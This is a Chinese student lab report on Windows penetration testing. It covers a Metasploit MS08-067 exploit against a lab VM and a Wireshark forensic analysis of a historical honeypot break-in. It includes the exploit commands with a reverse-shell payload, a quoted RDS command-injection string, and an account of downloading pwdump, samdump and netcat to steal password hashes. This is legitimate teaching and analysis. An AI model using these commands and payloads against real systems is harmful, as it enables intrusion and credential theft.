一、实践内容
1.1 实验要求
(1)动手实践Metasploit windows attacker
使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
(2)取证分析实践:解码一次成功的NT系统破解攻击。
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,要求提取并分析攻击的全部过程。
攻击者使用了什么破解工具进行攻击?
攻击者如何使用这个破解工具进入并控制了系统?
攻击者获得系统访问权限后做了什么?
我们如何防止这样的攻击?
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
(3)团队对抗实践:windows系统远程渗透攻击和分析。
攻方使用metasploit选择漏洞进行攻击,获得控制权。
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
1.2 知识点梳理
MS08-067 漏洞原理
这是一个影响 Windows Server 服务的严重漏洞,全称为“Windows Server 服务 RPC 请求缓冲区溢出漏洞”。攻击者通过向目标主机的 445 端口发送一个特制的 RPC 请求,即可触发栈缓冲区溢出,从而实现远程代码执行,并通常能获得较高的系统权限。
蜜罐概念
蜜罐是一种主动防御技术,它是一个故意设置得存在漏洞的诱饵系统,旨在吸引并诱捕攻击者。由于正常用户不会访问蜜罐,任何与其发生的交互都可被视为恶意行为。蜜罐能够完整记录攻击者的所有操作,为安全分析提供宝贵数据。
二、实践过程
2.1 动手实践Metasploit windows attacker
选择Kali 2025作为攻击机,Win2Kserver作为靶机
首先输入命令
msfconsole
启动MSF控制台
启动完成后,输入 命令
search ms08_067
找到该漏洞的参数
输入命令
use exploit/windows/smb/ms08_067_netapi
启用该攻击模块
输入命令
set LHOST 192.168.200.15(Kali的IP)
set RHOST 192.168.200.16(Win2k的IP)
set target 1
设置攻击机IP
设置靶机IP
设置目标机型
输入命令
set payload windows//shell/reverse_tcp
exploit
设置payload并攻击
可以看出Kali已经取得了Win2k的主机访问权限
2.2 取证分析实践:解码一次成功的NT系统破解攻击
2.2.1 攻击者使用了什么破解工具进行攻击
打开wireshark输入过滤命令
tcp.stream eq 7
追踪第7个流
根据日志中的特征判断,攻击者使用的工具是 RedCode Scanner
在网络安全的历史记录和入侵检测系统的规则库中,同时满足以下两个条件的流量通常被标记为 RedCode Scanner:
- 使用上述特定的 MSIE 5.01...Hotbar 2.0 User-Agent。
- 尝试利用 Unicode 漏洞(%C0%AF)访问系统文件(如 boot.ini 或 cmd.exe)。
RedCode 是 2001 年左右非常著名的蠕虫病毒/扫描器,它利用 IIS 的 Unicode 解码漏洞进行传播。这条日志正是该工具扫描特征的典型体现。
2.2.2 攻击者如何使用这个破解工具进入并控制了系统
输入过滤命令
tcp.stream eq 14
追踪14号流
攻击者利用的是 MDAC RDS 漏洞,通过在 SQL 查询参数中注入系统命令,诱导服务器执行写文件操作。这是一种经典的“通过应用程序接口执行操作系统命令”的攻击方式。
利用的漏洞与攻击载体
- 攻击目标:
/msadc/msadcs.dll是 Microsoft Active Data Objects (ADO) 和 Remote Data Services (RDS) 的一部分,通常运行在 IIS 4.0/5.0 服务器上。 - 利用机制:攻击者利用了
AdvancedDataFactory.Query接口的不安全方法。该接口允许客户端发送 SQL 查询,但未对输入进行严格过滤,导致攻击者可以篡改底层的 ODBC 连接字符串。
攻击载荷分析
在请求体中,攻击者构造了一个畸形的 SQL 查询。关键部分如下
注入的命令片段:
Select * from Customers where City='|shell("cmd /c echo user johna2k > ftpcom")|';
这是一个典型的命令注入(Command Injection)手法,具体拆解如下:
- SQL 注入点:攻击者在
where City='...'的条件中闭合了单引号,插入了恶意代码。 - 执行系统命令:利用了 ActiveX 控件中的
shell()函数(或类似的执行机制)。 - 具体命令:
cmd /c:执行后续命令后关闭。echo user johna2k > ftpcom:将文本user johna2k写入当前目录下的ftpcom文件中。- 注:这是一个简化版的示例,通常完整的攻击会写入包含
user和pass的 FTP 脚本,下载恶意程序,然后执行以获得反向 Shell。
攻击者控制系统的逻辑步骤如下:
- 试探与连接:攻击者向目标服务器
lab.wiretrip.net的msadcs.dll发送特制的 POST 请求。 - 注入恶意脚本:在数据库查询参数中,注入了包含系统命令的字符串。服务器端的组件错误地将该字符串作为系统命令执行。
- 写入配置文件:利用
echo命令将 FTP 登录指令写入磁盘文件
- 获取权限:由于 IIS 服务通常以
SYSTEM或高权限账户运行,攻击者最终获得的是系统最高权限
2.2.3 攻击者获得系统访问权限后做了什么
输入过滤指令
tcp contains "ftpcom" and http
攻击者首先通过FTP协议连接至IP地址为213.116.251.162的主机,下载了名为pdump.exe和samdump.dll的工具文件。其中,samdump.dll用于提取系统的SAM(安全账户管理)文件,该文件存储着经过安全标识加密的用户账号密码信息;随后,攻击者利用pdump.exe对提取出的密码数据进行破解,从而获取系统账户的登录凭证。
输入过滤命令
tcp contains "har.txt"
拷贝和删除har文件
输入过滤命令
tcp.stream eq 106
在流106中攻击者输入了正确的用户名和密码,并且下载了三个文件
nc.exe(Netcat):
被称为“网络瑞士军刀”,功能极其强大。攻击者通常用它来:- 在目标系统上创建后门,建立反向Shell(远程命令行访问)。
- 进行端口扫描和网络调试。
pdump.exe(Pwdump):
这是一个专门用于从Windows系统中提取用户密码哈希(LM/NTLM hashes)的工具。获取这些哈希后,攻击者可以进行离线破解,或者使用“哈希传递”(Pass-the-Hash)技术在内网中横向移动,访问其他系统。samdump.dll(SAM Dump):
这个工具与pwdump类似,用于访问和导出安全账户管理器(SAM)数据库中的内容,其目的也是为了获取用户的密码哈希。
然而最开始攻击者尝试的用户密码为hacker2000,经过两个tcp流之后立刻改为haxedj00,推测是一开始记错了,下图为第27个tcp流
2.2.4 我们如何防止这样的攻击
当我们的主机面临被攻击的风险时,可采取以下措施加强防护:
- 设置强密码:使用包含大小写字母、数字和特殊符号的复杂密码,增加密码被破解的难度;
- 定期更新补丁:及时安装系统和软件的安全补丁,修复已知漏洞;
- 定期安全扫描:使用安全工具定期扫描主机,检测并修复潜在的安全隐患。
2.2.5 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
他察觉了,在178数据流中可以找到
输入过滤命令
tcp.stream eq 178
最棒的蜜罐!
2.3 团队对抗实践:windows系统远程渗透攻击和分析
首先将Kali和Win2k全部改为桥接模式,直连宿舍局域网,提前打开wireshark
首先在Kali上启动攻击程序
其中我的Kali的IP为192.168.3.131
同学的Win2k的IP为192.168.3.125
依次输入如下指令,运行即可
wireshark捕包结果如下所示
整个攻击过程可分为三个阶段:
第一阶段:SMB 侦察与爆破
- TCP 三次握手: 攻击机向靶机 445 端口发起连接。
- SMB 会话建立: 协商协议、进行 NTLMSSP 认证。
- 关键事件: 显示
STATUS_LOGON_FAILURE。这表明攻击者尝试使用的凭据(User:.\)无效,属于典型的口令爆破行为。 - 命名管道交互: 尽管认证失败,攻击者仍尝试通过
\\192.168.101.183\IPC$建立管道,并调用SPOOLSS和SRVSVC服务枚举打印机和路径,试图获取系统信息。
第二阶段:TCP 反弹 Shell 建立
- 反向连接: 靶机主动向攻击机的 4444 端口发起 TCP 三次握手。
- 意义: 说明靶机上已执行恶意载荷(Payload),成功绕过防火墙反向连接攻击者。
第三阶段:命令交互与验证
- 命令下发: 攻击者发送
whoami命令 - 结果回显: 靶机返回错误信息,内容包含中文乱码,证实了靶机为中文版 Windows 系统,且
whoami命令在旧系统中可能不可用。 - 路径泄露: 交互中泄露了系统路径
C:\WINNT\system32>,这是 Windows NT/2000 的典型特征。
三、遇到的问题和解决方法
首先就是调整网络适配器,由NAT模式转换到桥接模式的过程中会发生两类问题:
第一个就是调整完之后IP没变:这类问题一般是静态IP没有删除导致的,windows可以在本地网络的属性界面中选择自动分配IP,取消静态IP,Linux系统可以找到静态IP配置文件(百度一下该操作系统的配置文件路径),将eth0网卡或者ens33网卡下面的配置删除,写入退出之后重启即可
第二个问题就是调整完之后没有分配IP,或者IP分配的很离谱,比如169.173.....,这类问题是由于VMnet0没有设置好造成的,将VMnet0的网卡接入本机获取真实物理网络的网卡即可,设置完可以将VMnet0删除防止误改,改完之后所有桥接的虚拟机全部重启即可解决问题。
其次就是一开始尝试攻击的靶机是Winxp而非Win2k,而Winxp本身的系统是打过补丁的,本身没有实验中的指定漏洞,故而无法完成攻击,老老实实用Win2k完成实验即可
四、实验总结
通过本次实验,我系统地掌握了Metasploit框架的基本渗透测试流程。与以往单纯跟随视频教程的被动学习不同,此次通过团队协作进行的手动实操,不仅让我对攻击链的各个环节有了更为直观和深刻的理解,更让我体会到了网络安全攻防对抗的复杂性与魅力。
在实验的第二阶段,面对Wireshark数据流分析这一难点,我经历了从初期的迷茫到通过查阅文献资料逐步攻克难关的过程。这一过程极大地锻炼了我的独立钻研能力,使我能够透过数据包表象,深入理解网络协议交互的底层逻辑,真正做到了知其然更知其所以然。
此次实验不仅是一次技术的演练,更是一次安全意识的洗礼。亲眼目睹漏洞利用如何导致主机权限沦陷及敏感信息泄露,让我深刻认识到网络安全的严峻性。这种从理论到实践的跨越,将激励我在未来的学习中更加注重防御体系的构建与安全规范的执行。
